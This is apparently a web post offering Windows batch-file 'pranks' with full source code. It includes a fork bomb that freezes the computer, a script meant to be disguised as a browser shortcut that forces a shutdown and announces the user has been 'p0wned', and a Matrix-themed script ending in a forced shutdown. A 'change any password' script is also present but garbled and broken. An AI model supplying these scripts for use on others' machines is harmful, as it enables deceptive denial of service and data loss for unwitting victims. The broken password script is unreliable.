Here are some harmless batch file pranks, just copy the code into a notepad and save as "something".bat. I am not responisble with what you do with these, and do not send them in an email, it is illegal

This one allows you to change the password on any account

@echo off

cls

set /p CP=Would you like to change the password of ANY user account on your PC? (Y/N):

IF '' 'n' Goto DCP

:CPY

cls

Net User*

pause

exit

:DCP

cls

Echo The password will not be changed.

pause

exit

:NETUSER

Net User

pause

Goto :CP

This one fork bombs a computer freezing it up (must save as fork.bat)

@ECHO OFF

:START

START fork.bat

GOTO START

Make a shortcut from this one and rename it to Internet Explorer of Firefox or what ever u use and it shutsdown and tells them they've been p0wned instead

@ehco off

cls

shutdown -s -t 10

color EF

color 08

color 19

color 2A

color 3b

color 4C

color 5D

color 6E

color 7F

color EF

echo You have just been p0wned

goto b

I'm not gona take credit for the two listed above, but this one's pretty good to:

echo off

title Matrix, I HAVE YOU, ESCAPE IS IMPOSSIBLE

color 0a

echo W

ping localhost -n .5 >nul

cls

echo Wa

ping localhost -n 1 >nul

cls

echo Wak

ping localhost -n 1 >nul

cls

echo Wake

ping localhost -n 1 >nul

cls

echo Wake

ping localhost -n 1 >nul

cls

echo Wake u

ping localhost -n 1 >nul

cls

echo Wake up

ping localhost -n 1 >nul

cls

echo Wake up

ping localhost -n 1 >nul

cls

echo Wake up %username%...

ping localhost -n 5 >nul

cls

echo T

ping localhost -n 1 >nul

cls

echo Th

ping localhost -n 1 >nul

cls

echo The

ping localhost -n 1 >nul

cls

echo The M

ping localhost -n 1 >nul

cls

echo The Ma

ping localhost -n 1 >nul

cls

echo The Mat

ping localhost -n 1 >nul

cls

echo The Matr

ping localhost -n 1 >nul

cls

echo The Matri

ping localhost -n .5 >nul

cls

echo The Matrix

ping localhost -n .2 >nul

cls

echo The Matrix h

ping localhost -n .2 >nul

cls

echo The Matrix ha

ping localhost -n .2 >nul

cls

echo The Matrix has

ping localhost -n .2 >nul

cls

echo The Matrix has y

ping localhost -n .5 >nul

cls

echo The Matrix has yo

ping localhost -n .5 >nul

cls

echo The Matrix has you

ping localhost -n .5 >nul

cls

echo The Matrix has you.

ping localhost -n .5 >nul

cls

echo The Matrix has you..

ping localhost -n .4 >nul

cls

echo The Matrix has you...

ping localhost -n .4 >nul

cls

echo The Matrix has you....

ping localhost -n 5 >nul

cls

echo F

ping localhost -n .5 >nul

cls

echo Fo

ping localhost -n .5 >nul

cls

echo Fol

ping localhost -n .5 >nul

cls

echo Foll

ping localhost -n .5 >nul

cls

echo Follo

ping localhost -n .5 >nul

cls

echo Follow

ping localhost -n .5 >nul

cls

echo Follow

ping localhost -n .5 >nul

cls

echo Follow t

ping localhost -n .5 >nul

cls

echo Follow th

ping localhost -n .5 >nul

cls

echo Follow the

ping localhost -n .5 >nul

cls

echo Follow the

ping localhost -n .5 >nul

cls

echo Follow the w

ping localhost -n .5 >nul

cls

echo Follow the wh

ping localhost -n .5 >nul

cls

echo Follow the whi

ping localhost -n .5 >nul

cls

echo Follow the whit

ping localhost -n .5 >nul

cls

echo Follow the white

ping localhost -n .5 >nul

cls

echo Follow the white

ping localhost -n .5 >nul

cls

echo Follow the white r

ping localhost -n .5 >nul

cls

echo Follow the white ra

ping localhost -n .5 >nul

cls

echo Follow the white rab

ping localhost -n .5 >nul

cls

echo Follow the white rabb

ping localhost -n .5 >nul

cls

echo Follow the white rabbi

ping localhost -n .5 >nul

cls

echo Follow the white rabbit

ping localhost -n .5 >nul

cls

echo Follow the white rabbit.

ping localhost -n 4 >nul

cls

echo k

ping localhost -n .5 >nul

cls

echo Kn

cls

echo Kno

ping localhost -n .5 >nul

cls

echo Knoc

ping localhost -n .5 >nul cls

cls

echo Knock

ping localhost -n .5 >nul

cls

echo Knock,

ping localhost -n .5 >nul

cls

echo Knock,k

ping localhost -n .5 >nul

cls

echo Knock,kn

ping localhost -n .5 >nul

cls

echo Knock,kno

ping localhost -n .5 >nul

cls

echo Knock,knoc

ping localhost -n .5 >nul

cls

echo Knock,knock

ping localhost -n .5 >nul

cls

echo Knock,knock %username%.

ping localhost -n 7 >nul

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

shutdown -s -f -t 15 -c "I, Matrix, Declare Victory Over %username%!"

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